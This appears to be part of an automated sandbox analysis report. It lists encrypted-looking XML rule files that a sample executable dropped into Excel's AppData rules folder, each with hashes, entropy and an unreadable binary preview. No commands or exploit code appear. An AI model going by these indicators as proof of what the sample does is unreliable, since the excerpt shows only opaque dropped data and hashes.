SHA-256:	7367950979EF1717D81C01CA6231E7EC6E268D4BE3F0E798DDB8585BEBBD2D6B
SHA-512:	B8C5EB8D1499F9E70FF1D657521CF4F0AA4031EA26850F1A671FEBE734B56AD4F9005B514A3BC573ACD5555F3B76B8DC2934BF0D968EF3B1C1849FD62AC4780B
Malicious:	false
Preview:	<?xmlQ"H..>.R....j.C.u...bCO....Cq 9~.r_..Ey.I[..RC?...?d..!4....&Q....6X..hi.L8.r.xX.........M.].......A~..C.A...e.....U.#^.kH6_.W..s.~.U.=f.}`.!;.D..(I..C..Cyx.B..I.2C..d,G...4..YmKn-..hl..}.>m.j.:5.m...x0k..-.T..kN.s..3..v....`..[X"rbu. .D`bK..N..m._...>.2%...w.\......G.O.dx.....U.#.......E......-....C.?...^..s.gD3.p.2o.@;p..msQ.>.c...([.J.....tA.'....4.\|...ii..6U+.'..c.c.h..W.....v.J.8.O:[.....F.BI.*\|.i...g.....k..]....%...."F..]...h....`3Zt..1\|m.OG...E......~.> ......~m.....T.BC..\|a...n.v}...WR...b...F.a0.A...-..E.o...!...u./Ws..DU.-..Xx(.m......QZ......@.[p.F?..o.Q..>..;.$.4..xz..U}....`]X{.{./.!mK".H..?....:...(W.R[-SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120678v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.734637923838864
Encrypted:	false
SSDEEP:	12:T+Mil3tgeF1NY6SmX1Dti9mCty2ijx6YiVtMUaoIw8ICxMmMCtGRYEk7b0QYLo14:ol3QE1Dk9TQ2LVefoIjIb20QYfbD
MD5:	BB0E94ECFD9E41FC85B41F5AA7137BA8
SHA1:	44F30C1307E2425B36F6D22C27688EC8723DFE76
SHA-256:	8D2B562E82DF2E739306E35808840350345A24700B9D696A1DA4E714F73AC818
SHA-512:	59AD2FD744FD675FE47A929CB9824C7BD9C53F44862760D29EE2E3946ECCC771053699B5C4C054D109C751AEA2F2D6DF76BF0E43F590CB67061A144507DECBA3
Malicious:	false
Preview:	<?xmlG...=...`.I.c..V....:9)...[u.6o......:tA"..c...i\|...y.].zVB@......9[.. .....i.N..[.v(.w......p...sB.T..j.H...,.iU..m.2.:\..g..}.@.KXW..G.I...g.Q)g..@.....P....l`....L...M..3.d..Y.6?...R:]...._....].b..}...A...~..J."@...m.8.m.'...Lh...).b.....l;>.G..qG;=. .)^.x.n.Y. .G...-g....Y.x. ...#.k..=,:..B;..N....&~.../......f..u..)..mu.^gc...5.\|...\......[...9...Y...h.X....O0.h.ZH...'.IK.Aw.......4..f.]......c.+0../...B.....W.tPd..1b.-.\....1.H.Ap...%...Bm[.....-<.O...P7.,w#c.L.]/3....&%8..I.i..&..>MX{)..."tB~g..L.....w....(.....a..F..E.O? .w...P.a..Sg..T.r......o...:M..N....D2D.3L.zLv......DC.J.VK7..\.Y....).90......n..^....o<1.Sf.\<@p..V.PB.1.~O..-..@....(.....$af...*..V.S.wU.#SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120679v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	507
Entropy (8bit):	7.502088486981797
Encrypted:	false
SSDEEP:	12:OgoNC7o5cfhSjVQG6tn3Ynhy4itDGkw9k3rIrx1+cii9a:1Vo50kV1gn3KmDGnk3rjbD
MD5:	F891A2DCEEDC38A93803A1F317CD3047
SHA1:	E2DBB4A17DE5861EE1A3D60DC2BFBA04900F849B
SHA-256:	99B9619C14168B096CFCE3F154A859F4173B299E0288121A7485718396F13527
SHA-512:	40EF63B18F2A5F75E9B05783FDF8B95B94DFA6A1081CB7BB0383AE6CF0DE1CB4DF7DBE397F12EBACD75CE68F828AE8AC199B343607C40998E050DB60F965CD18
Malicious:	false
Preview:	<?xml.a.....KR..spQQ..Y.s..G.WS..y...J..*P....R...H.a..r...L;.s.N...._.T....hf.LD.............7...].'"m.Z..a....#...ge.D..7.'L....P'.P.V.lK.Ms7?LU..:xC.#......n0....Y)....h...HS..U.q5...N.Wq.).5..+..]..@h h.K....z]m...'.C.h...l3...6_..x...-.4....1....\#...D............B-.K.<7M.@..#..{W...U.Y...I!l...^D....&d....E...x..._...q.Yf}.../.?P.i.l7z...A....C.Etr....(.I-Y..@}:<...@Yd..1i..#N.or.x..x..P..,._....w...h..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120680v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2285
Entropy (8bit):	7.904767859027272
Encrypted:	false
SSDEEP:	48:6fhaiSaBqSqrw2PCb9w35l0dBURK0iQgjgp7XR+D:6fgzagSMfPi9wQdO/Vg47s
MD5:	FF171FF43DDF98E148F2FD27902A0705
SHA1:	63AC153A15861A7F496D959695ADFFC49EB19254
SHA-256:	172F265B7818648D07F4AF7998DC26ABDF2F88EA9B4EEE0AE94A0D421D36CDE1
SHA-512:	1B82C1170C484A74A226D3C5A9A51000D322C16EE0C0105ED0374FFE17B154F32A0D4666F34B02E2B02AC27D52EDD3484B91DBDC97251BC004FCF642F65729C0
Malicious:	false
Preview:	<?xml`."r.@\|eCk93..5.........o.h3.<. `..l" ..L..8...L...{.!......L.xW.X1...g..AU.:.p...".#W?.3.0.R.....#W<...c............_.P^....... w.\.\.u....XQ...h.z...R.\...at...9.....X....`......"..`..&...#...h...<....b...S./.>....:.g.....-01..K..."c.\|...H......vv.....IrT.-L-.$...B.93r&..B.'..N.m..V..Bi.c.TX...,.n.D.e.&N?..N..L.Hb.Oz?...f.IkGS..o#.;.!.sC.@..4...}.>..>..bVu\|i.F.3..!.(.S.......{....M....Qu.(..M.B......W%....%..;..X..?t..G-.....X.vZ.?..K.d0.9#.q'.....f9..Yz$..W......7.....G5.......#.}.t...(...-dJ_.e..%.Fy...Ae...O..+..,A..'=..".+............p.....,.o....k@R..s.b#..(.."Y[....@.hd.:R.T.MaP.Wz.[.R......3.k..E...G..8.Cf~:..............e...\|.....`Vo.#.[}....A+I!.4W...(.%G67..'2...)7V.......... ..On.4.....'._...,D..A..@....%Se`....X....h...V.....t.-.....H.O.......I.p...a...^.}.1. f./.oQCg.\|K.....$...3.8...XW....{.~. ....$.../6x.aJP..[....W}.AHQ?...UL.#Y.....IPh....P4..h...#K.v0ldak......2...p:.u...[u..y...?......=..Z8,U.Y.n.T7.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120681v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.845082381875379
Encrypted:	false
SSDEEP:	24:qZqcPloEk2CQ3qdfDscvRQtMKM3BV3DidJhKp+r1wvjvKvbD:s9pPCLfDPR9933DShKAr9zD
MD5:	155A7DAB401D7D7C8F3F53BF2BC37435
SHA1:	234C61FA62BFE515CCAAE25AD151111CE1583330
SHA-256:	819DBFAE4B1615849A7F0B73995B324F7922FDE60B61A45BF8C2DFBF609286D2
SHA-512:	DABB521CB63859B8E1162CE667F10DFE5782FA4389D1073A9BDE74057ED8A9364C9F41CDEC2DE5CA42E7B7A397DB3483169414898952B1070E74688B67015FB2
Malicious:	false
Preview:	<?xml.i.;..6.DIzS...9...).$..q].....0~.....#......$gH4T.f.ylt.!...`.xS.C..{k...3...ag.b.a".-..M.m...Cho..=.nP..'.$.g.....W.0zN`.W...U...w>...2.f......>...e.v.......iv#../.K...%IJ.8.....L.1j.o.~....la...J.e..{.......NIT........Lru.W...[R..7zs..6.....k....L..u..x.}..@...0.GcIpI_2eY.c.q.vi....f...Y'..L.....h..j..6.p.*,r.~..I....i......<.^#.j3.,.V ...x.<.....u.\|xy.3?.....y..y.t.........X.oA.a.1i.k.:.8.s......?U....x.E......W'K.}e....$.....g.-.)....u\|:.....N....5&...x..?..]..m..........J......j=c.d..".HI...f{m'H(.p.=!.3..s.v;....\...@.....M.v4.c.......x.....;@.E.Xq.....Kt....t..'.<]...~.......?."[.g..&..+..."...iR.n...=....Nj'...6....H..........-..'.u...`71Z....E]Ec.G.>.........lm......yc..B.,...u...Wc.....b7.....o\|..i.....#..A..Ig..&..z.x....I\"Kt.9.k.U..Z.j0.KQ%....Mc.^...).`...`...5S$.c..U...?........K......+.u..%~/......x..M...c..5Y...".p\|..P.L..E.GR.^.._......6....V.isv.C.+........g,o.z..<.....o.......%"S.o.#8......L....3....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120682v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.743310895390194
Encrypted:	false
SSDEEP:	24:MDqO6nE+j5ZzFodymR8cbRBlR8M/4EuUfz0bD:MDqOn4zAyMRBlR8M/zvSD
MD5:	E44CA766676E82D4A787982AB53411AB
SHA1:	08BCE9103A3E98C48FF924651B309A160CEDACE9
SHA-256:	0E103028206B2A4BF578FF419CA5705E47278F4F1020C7FA762B6277CA299437
SHA-512:	CB6570851B840DB5671CCD2443BDE75423E15114121DC109FC8787B2546C4D34461C9A7CC56E60F5AD67E83DBAD6C907BCBC9DD15A1C9F13DD08DDDFB239D6FB
Malicious:	false
Preview:	<?xmlg....`....!"\.p.Nx4..$.......JAu.ok..9...Y..g.9#......#..@...7... 9......J}.ah..)J.b!.;...8.C..\.;r0...........c%.T..XY..N.........}....?...]...1.3?...$.3.Y-..y!..c....&...e(t.........(.M.......z6.7.,.....c_x.xd1X?".3b>".M..L..2a...m...P.;.s...H....-U.EL.....\|.......w...`._5.m.....m.M.]t..!;.g.=..-..).K~C.!.5:..<K.S:.6`..Z...v.?VB5^....5.{~04w.A......]1.nBQ.@....L6.........W.4.@.."U. .\|.tW(.d.....D.)........kT..[.ro...).f..i;..Js-../.lB...r..N_..r/......Y.3..h..M..z.."").z2]Z...q."..q.fX..s.x..c}>....?.f.V....(...9u.g..F.<.:.`Q..j.,3...`.j..C>B.B.n.7..)f....~.....8.).Q......&...._....kP.P.mH...(..p....'...e....r.@V36...w.\|Rn..'..a.i&\......(...S.y..5..f.$h....#.8...s.>.e.L\...0.....H.?2..}.n.*...GSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule130009v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	630
Entropy (8bit):	7.647181882757529
Encrypted:	false
SSDEEP:	12:gUlgjtsfOCwQz1Yw/wiAfs1jE6WcXd//Ivmwe5z3G7stK2ohaymb9/IRsq+f1+cq:7ly+Ok/w4I69/Aunsmboeb9/cs9sbD
MD5:	C9686DBBE538E4B906ECF40CDBFBFF65
SHA1:	275D6BEF1695B13A4EE326C46C9E8FE2EBAD5B4E
SHA-256:	DF94D859A7F324AA6887806435C8522DC3F0A7DF52162ED8D1517DE1DCF05794
SHA-512:	3DE2F635C3E8514FD191F4C78438DF73B24DED22C497F622CFDC3BE91022C55254DA78B56DF37D921B5054F12D2BEAF0F44D0F1698F5B57ABB08F52380B96709
Malicious:	false
Preview:	<?xml3t..?.d..R. ...O.%....Vo..:.E(.C.....p...\..F..../..4..JYV. +n.....m.o...T.Kv..j.....].~T.Q...]3.^.ou2I:Y....~;...{.5..%-....o........."{{.Ah.M..RE1..)......MT.W6.^.z.-....:..\|+.99.R4....S....^..i..?...O.,..&m.:r$.K}o>.9...>....J../......}....X8Tv.....c....:\....t5.....6.b...~h..JR8<../......%..h..i%.W..w...C.+...n...}b..Y.H[.....Xp...-..r.I^y....3J?.f..W...%yx%..O<y...j...U.....4...b...P..;.c.....h._...f......z1'gs.m..........rjW..#.O......GC.Y....D]<.._5..;....0.Fz.M/#c%!)_.U...y..H...(f../....h.\|.*.R.e,Q...^{)$.l..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170000v6.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.76464218485714
Encrypted:	false
SSDEEP:	24:HL+TKznCOYlLS+Yj1/UDLAT1pwtIhReWVc9/rgCsbD:HLXHYlLxqdUU1pwtx9jg7D
MD5:	6275047F0F9BE3685BD70D5E2E23115B
SHA1:	0E3067AC776C0603E03CEB597C40625D6F3E3E21
SHA-256:	341D4D5AA026947DD35D2B28249449128C5F4CB0D5835C49F990582A03073C0D
SHA-512:	ABDE06A30C798F859DEBD1410C905AA1846CE2D44DB6123FFDD16A28BFBFD7B85F3620742A430CD75BEBF374E329D9696E9A6593A5F5D2F4243A056A5B4D2ED7
Malicious:	false
Preview:	<?xml....{..<...H../.....L....Ue.8Zl.hC..9.h.}>/n...i,..1.".......g.I.M.........r....x.:s..X...4..A.\A...j.Y...mfB....L.8..n................/.W. ....../6...........'l.d....g%....[sG.z\....i.:J2...b[R<j!<.}\|.'.-..?Q..&..6..#....dFL.e..9>u".}Z.k.A.)m5*o.5...:...dFY\|...Y/,Z.].......I.&.\|_..#.w.k.kr;3................/h.{.......~-M]z..H..m.....O...4...v.FC..J.........m.:7....n.'.+.+@.mgt#M(?.#".....c.....b....?..Y..g..C.i.B.'8B.-k../...Z..........B)..j..{.....cG.7.!=...C&..B...r..Y .9..G...=......J.yH.ap!D.CP...^\|!.Tj.l....;..l$z6U._@...t.\..^....[u.h8....r..El.+IK..4a....R0.D.;.:\H..]...C%..z..A.m.p.t.\|.pE?..-0.......k'.It......f.....Qg.^L...P..2.I.._..^.lD\h..p.0.K2zq;.......ec..}:h..y.....]{_p...^..,`vT.:Q.9.B.HT...u...KRO.$N.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170002v6.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	6314
Entropy (8bit):	7.966251431676572
Encrypted:	false
SSDEEP:	96:Rh3+KCzg40fhlwxAlgO9VClj62WLshQno9hTATQ/xIzzF06BR7uCpLCbWg:r3+KCze5ltlgqCleduhhCTl06HihZ
MD5:	28B32D2FECBF5BFACFFD8897DDCA6E83
SHA1:	AAC6F8E32EFC7B1F4E309B9DDFB8DC317DAD8675
SHA-256:	EB70B14542A767B7DB7A48DD02F284353687CFB5839D7369D2831A21046CD77D
SHA-512:	D03B141B7C781E50F0B40EB39B28FCCAB43FF4751716C280EC12F110E852A6C9E2E3267B98E0B29C4CAF2462E3DAC5F420FE161FE28A49A1C3236A9CA2EF0FF8
Malicious:	false
Preview:	<?xmlC.f.6#.v.n..G....../[....I.HO.n+......l.r......:.V.b.9.....L...#s....S\|K...X........{..1...w.5%..@...._.@..1]!...J'.K.+......M.h~.y-.=.).3.z.>}.E.#aU.z.2...6 +.p.'.zj%UK.......?eW........8..f........vm..q...rk..E..$.Cmi....+.D.....%6."...[.\4.....~....H..a..bzhE.+}..L. .......p....c...m..#.6.R.Y.Y.g.;A^.-.g..(.F.+...........S~_FV..$.8...+...jVS.....qb.h..<....\..`.%C93..'V....t.c....h.7#2o....x}w.....o..1..e7..MuW.K..d>.{;.GU...C..y.....E."&.....m...V.........z......Vf.Y.....Z..o......fn<[.Z..dL.]..5.d.P.i.....A..j'.Z.........9EMt...!l....^.W........lK..'S&nK...g.j.^.<;...2$:[u..t..H..(.q..K$.Mv...K>\|?.b....u@..:...k.=[.b)[..c..pOi.O ..Nur&..+....5...MYc....{?v.%j.'...p...S)...~JHT....V-.._.....\|Sc.Z..n`d...... ..0.#.y.........Vh. ....0.H7.qr.[.&...8.f.\....FD.b.C..uzi.o.qj.S....P)....}.."R..%.<.\|............%.Z.....b..s.JEg-..Z.L...}?._.\*..74.....W}a..h...VuFU...~.....cDr...."..]........^}.}2>H.o<.w.Y)...5.....wB<...j....}..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170003v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.8098759811475125
Encrypted:	false
SSDEEP:	24:gXjdyMya2Rn9c1uma6AKukBU0hSE4fY6wnsKqqcRGv6DKXXCbD:gTdy4wZ3KlBU0hSE4fYfCISD9D
MD5:	AF1C112F688615340E0D0CE406723A69
SHA1:	CF18BD079FFCB459C21D01B4DCA6B1FA2C897DC8
SHA-256:	6204A4DD4458ADFCD32B2F07FEEA4E8651FEEFB524DC1C69BD2C7B1D43AB8FE7
SHA-512:	D18011289D4B16F023323C61529D0CEACE6C21B58993A4FC8374BABDA646FD036AED4417DED9C9F7BC29A60D49D9859C930CCBDC655A11EE88EA362E31A6BD2D
Malicious:	false
Preview:	<?xml...!...".&.A...].....6.^........$.PQ!.O.._v....Z.C.......^Ohk......T..XA...b hb.....iL.....C...._...F. ..`.J!t..?..+..%....`....DY..D_.R. .Z..Y.\t..... .y(zq.9JB..%A.+:...o.........&<8......2.,.1.y...1.X......."qW...o.1r#.0.."....].^.R.I.R~+3eo@.x..bW.s..QS>?m......>.+.{.E......X.l.........31..p.7.K...<... I.z..L%.....,..%).4.Uh...r.^KDYT..s..k2.!..p.&..r.......N. .a-.E...V...G.D(........./....1. 3vV.A.YT/.A..i.Z..=.#........<.T.L...F.b..?KF.\%L.. ......O....fr.yiD..]Ad..7w7...o....[..5..Fr./,.V..,........+vA.'..&&..~.%..Z..I.S!..kN.8F..eu.x..0b.txn,....o...p.R.2.hX.x....j\|........S....5.....YBO...=.r=.......X...(@^Uu..#..........i5T..(.(..[C.m...M`>=.z.n..".%.b...Z.....p............f...x.x..\..(.x...c!L.C.....,....UI..^.e...)G.......M...:....f...J.R.gN.WI"....QZ.~9....y..../.u.6..MF...E..D.....V....20...O;....S.U....D<X...N..fj..j..T...K@....f.$f.S..N.iK....2p...[.._...?.q.Q.e...a.AESLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170005v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.814457833066113
Encrypted:	false
SSDEEP:	24:kZ5K97ilHEtJV5Xphtf2+mGXM2qOJlQV2ii5htrvwLrRD/EbD:GqVzjdMTEQVmlwHRCD
MD5:	AC44CD35E1CE1050C5A12A49E983A46C
SHA1:	1C615D77F3ED414E84C84F6D35F1CC5242450BEE
SHA-256:	D9A9063B92EE7298D6F0EE8E7CB219AB1CC75D17A5CA90A663AF4BEC42C004E7
SHA-512:	08D74C80F185B7A5D2C0BD220CFF2157EAFDDA9CE237CC65C0AFCB17C7AF21E0F8B37FB134BEAFEE0A93B7C1694918EAD0DF75B49DAB37ECB55007F5542365F9
Malicious:	false
Preview:	<?xml..V;x+.....[..ZY..>.x..[.............Vi8.o1...rf..!..U..{..%..{....F....X=`..).M.....OWtk.....N.....MR..;.f.L...h.R..V.2...Z...e..O.....?.Zn....9..QN...C.r.#W..^T.{..]Oj.u..]..H9cd../..Ge.Dx.f#...(.D9l.....sH....-..2.c...K...o.O.y.ib..\U?Hi..z&.....{....u.8H.[...2.o.%1.\|;.{.Z......s.Q......:.+:A.g..s6zR~./...T....?.5.b..G..OWN.j.K4.b..g],..1..yY...4.0.V.....63........8;{.61.....q..b.(....C..5"....}...6..?4Dx..>.E...\:....n..U..o...;q.O..i....tL.h.o.........=.k..........~EA..T...u..vC...........r1.Qhu...a.+...y.e......G.....?..T.....7...E.x8.........w........:.s.k.Vx.B.."+aO..).Vf1\..5.y....O,.r./..].X.'..1.m....\.6...?nA...}I.YRw...W......J.\|M..b_.......Rw.,G....!o ...g.o.M[...z..eC..H.....Wb..N.Bd..[.f.S..._od...7.N.I.x......(I[.;...~U..).v....+c7C&m.O.&b.&.>oF"..Q....3=.......T+...r.>S..).a....&.ND.$Z3.9+*\z.?E'....1..+s..n....'...w.....9.w..D?$7!Rd...F..I.P...,..dB.......b.G.^.....1f%c....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170007v5.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	7.856755408984522
Encrypted:	false
SSDEEP:	24:O/zaW4RY6pZeWT8NPoTnE+E22S6Kk7SXXwrlrtogoQWE4KxJdlPDV6e6l78jbD:IUp0vNPoT152Sv4rPvZF45l70D
MD5:	B62D64AF3346737D1AAB7681CCCE89B4
SHA1:	DD8E92364DAF036600EB84DF92406B498F575939
SHA-256:	ED26E02DDDCEB7B39C92783C504D9E1FA0A448F88D35C553D7986C5BAC7FA7C0
SHA-512:	84ED6EEA3CE44644EB98BC60E5C3F37EA14E97AD73127C10C7CF132A2B6EC5604A4E93EE65FB5729172799B166FBE34A724C60D61BF8F17FCC3033F3E69D909A
Malicious:	false
Preview:	<?xml.V..aV..F........`;/.Dy.$.2........u.A.\K.c%.....@.s.-;.w.,.bo6...qb.GL.2.+ .el.w..RHt.&.MT...F.q{....(\|.cz..z.. I...(.....w..\._..s.U...b..4=.`.......@e..^I...<....@...X..?..&...XhRV.^.V.G....Q...\}.H.nL.U.3....h=....D~...;..vY......&w.5>.mn..s....[.w...k..}^E...^...]^.Y.;.@...#..oM..<w.?.<9.X.$z\,.<...N.....Y..a..7..g..X.....W\....H9.v.........D.wh...'..._......F.C...[.n.............-..a.Q.I....}....."#[Y..td.!<..........]B.>.^.D.o.j..<d..,!......f...6../.}...F.M4n..6-...n..-..d(.....:.`..=.j(.-.}WN>...DZ..'.&ss.~.?.f..k9W...\|..6...k...u.YN.n....d............W...;,i.=..+..SY.E>.+V.b.U[.rI....]T...E........K..C.X..i....9.....j.?.n4.g.=..... ....T...a...pJ..ph...vw.E8.\.!7@...5.YP~..{&4G.F........7z.X.>..M.;..K.F....3K\.....`..;}.y.N.O...B....Q.}..C...[.F..'.....jY.r....e6..2yx:..j.J.<kn..B..Do%+j.}.s.2R.tZh.N...`w...$x:@..n...0...5..{=.s..\O>.W.l2.2..E),2.m...F..b..........o3.x..J......)...T.2.<?..C),WGK3.z..SJ\..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170009v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.78699687029969
Encrypted:	false
SSDEEP:	24:eakhHx8KFn1463Gu16PG0L1f42oVpN5ivUnewNCQclBfqg5w8bD:eaCqijAGiwVpy8ewcQcjp3D
MD5:	3F01FE3A953AD8D31B43C3F83EC56A1E
SHA1:	A54428EFDFF244827DF0A55049293E6E57DB6E69
SHA-256:	4B0342259EF4EA658137AB4A9D57C774EB18119CBB49A3E1054CA97A1141C9DE
SHA-512:	44E18AF43FEAB4FB78EFE21CCC742F71EC80BF74D6FFEBB28B292AF8536562CF335F82ADBDB3313BA9D6A5100E33168BABD4A8A9E4D0183655EF058CDDAD9D42
Malicious:	false
Preview:	<?xmlG..m..>g`...O.[x;.(.'......).1.I7...r..#...+..aU...H.E.TXY..._.%.N;.P<..U."[.k.r...e.sy5.Y.o.m-..uh:rJ..-....._.Q.\|.m...fy<6.....e+2J./:...D..i+.w<.o..#@S.g:...B.b00.h...31......-&....@..r..8.....f ..,9X.]..M.....I..:80......0:Uh]Xq...._b.....z.C.d.c..-"`........k..=...q/....j\.(.Q............a%..E.....n......(.X...SY>s..2.'.q..N..x.d.&iT...Q.L.NK\|.y.X.r.....$..F....lg.......Y .bb.`Y...!.U.q..<ng;..Y#.E.....%..WE..&........D.V....8u...%y..C....u.QY..^*.4g.^.?....E....e....}.(c....Y>.~p:,e..<u.....O..wA%.{./....1g...9..(.d.{..z.K...{bS....p/....Ta3..<...Jjl...Y.r...R..G.....r...r.4..J.b.}..R.k...7.j...iJXf...._~..W..{.)......7..,f..B?....\|zE.:c..,..f. _.{...Z..A..-.jD.....5.C..0u..h....xW8.Io.]... Ji.....f%q.7.n...r.Q.%....!..]q.3.y.a..7..#9.......~......Y.V...3.'.kx.....zT.mL.fB8h....9.cF.{.....}..B.P.diE1..b&.c.#...(b..F.........Q.".....Mv..K...G1.m.g..h...zi..A@....6.k.m..M.hd....]..Us....M.k.W..<.N'x].'.~..hS).)Wp..f...SLiby

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170011v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	7.831134404471739
Encrypted:	false
SSDEEP:	24:TqRRkAa50Kmoh6+/cPmvkWvqpWVC/egBf0bGBsgjbD:Tq/kh5ThBUlKqwVCTBcCD
MD5:	00F3B241040CEEAD8C35847A6412EA91
SHA1:	5A7716247DB3278FDE34BD703626FBEBD4818AE0
SHA-256:	2AA559E388BE0DB02C6DE7BCD641229B2E3A96B5EB18E0CBEA761AD51D40D99A
SHA-512:	F1046ADEF19C7281BF9B80AD6AF1B01BD07D348DC8D90130495BF375AC0F83FF39D00B6EB20674FE1622504FF9E30C6C74823C73E667C859613BEEC8ECC8C09F
Malicious:	false
Preview:	<?xmlR)..-<...'.=@3..dzB..._f..^V..KR.x..b.....O..../S...d.<.......pC2.`.:...U."..y.SM...jVk....5.]..........G..n.5.7"....Ak...k....V}!.....Y.......6.A.O....0.j.9..{...4<TaQb...f.v..mY]$.@...o.......A}9....)..$h...^z..;Qf.<'..j.&.A.a..?....lD,["Hb..T.l......d....6.&.Q...K5..`.N.]..'...M...?h..........s.u...$..!zA.N.9....x+....,}M..."....mx.,..%.Z;/sk.....m..b...:.R.2....Q..[.O=..s....Wj!...X.H;A..Y;..gy.J............]....0..}.K.w.$(.....?..1..G.CqG..w..L.....W..B.L...$y..g....>..)P..._.....eR0.:("C.z.e..5..{..<..+.t...^.v..`.Y....$....q..u.0]h[..'.U%<..2...S.;..8.z...".{...1....:.5VFsv....?..hl.~xi.!e.8..`.5........Zl.j5.......s....vu6peX}..6..,.U......6..J.3jV:Y.F..7......^0.....Kx.\..3..m.aj!.j....d.e..(..d..!.u..i?Ljn..v;.Gr.~.rH\|.A.\....T.BBp.%...;0....d.~B.......8EV+...l.e...W..^.LD.8Kh.$"...S.......T.FN0.<. ....-=.......&..k....,o.0.n.q.t.mZX.d.u.....{...,f.U.....T...lU.S.GCc.$T{\D\...:.].........2.i.....v...4S].i.......3.m.Oz3._....2

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170012v8.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1902
Entropy (8bit):	7.894513754831089
Encrypted:	false
SSDEEP:	48:Fz+qCqMc1VNgH7to4DWmdSEGyb0694KHGMx05FDnxlH0D:p+qzVmtoAWLfyaKHGr5FDnxpg
MD5:	EEAE0AC9FC2EE24915EEBA4A35711D7A
SHA1:	B9E38B78B057FC6F00A140E01C93E841B21858E0
SHA-256:	C87031DFBD045FC751ABDE0D2A46EE91F080D6E00ACBF1AFE1E655FD433F1488
SHA-512:	8124448A958CA07A19694A7DF1E30BD0903C91674FEB3933ECDB36B3C7511E83F069ED58947AC8D175A4548DB4BD40BD17F4162FE4492F75427A60895704F867
Malicious:	false
Preview:	<?xml.;...R..Z..4...u...".....5.F.mcDP...0.<..m...G...C..W..9...L.H..q7.....'9....0.....Ps....2...@.._.........f]..I....B.f&n.u...`..'"N..v.j.C.......a6.{....8pl..h4"..u3...r..4.=f...=[H..wX...()={]..;..'y74...H V.{1...S.....(2.h...(...C.,.L..l..ui...`J..bm?=-xi`..f...{.5do..)4...PP....... s...h.u..TJ.5......k....hm.:D:.?...f.?u.#.6T....`...t.pH..C..A....L..q.m.M.&F.D8...U...........b.....FU5...m?I.g.L.0..7P.u....A..c.C\|"L..~x1/.9.{...mV...q..v...kJ......Y.j.l.D9..aeU.h..c.<.#.'.....Sn...q..t.'A!.;..Q5.......t..{.......5.v...=.h)....s.=..{5@.$m..1..[.....S....u......eR..r..G.@[.4nb0~.~4.P...r@......(e.....^`..pZ..:..V.Bi ....^..SlX.,P./...,_G.w..._d.[..(@.0C..xj....y.p...e9....+..[4../..x]..O..E..U....,O..{...I..?..9e6...=..8s.q...WY..BsM.l.,...tqf.-u(."6T.-l..............y.....~;.q.o{..<....K[..j....& 1.:.8.....V........#.C..u.N..=-..{.W....9.P'j...... 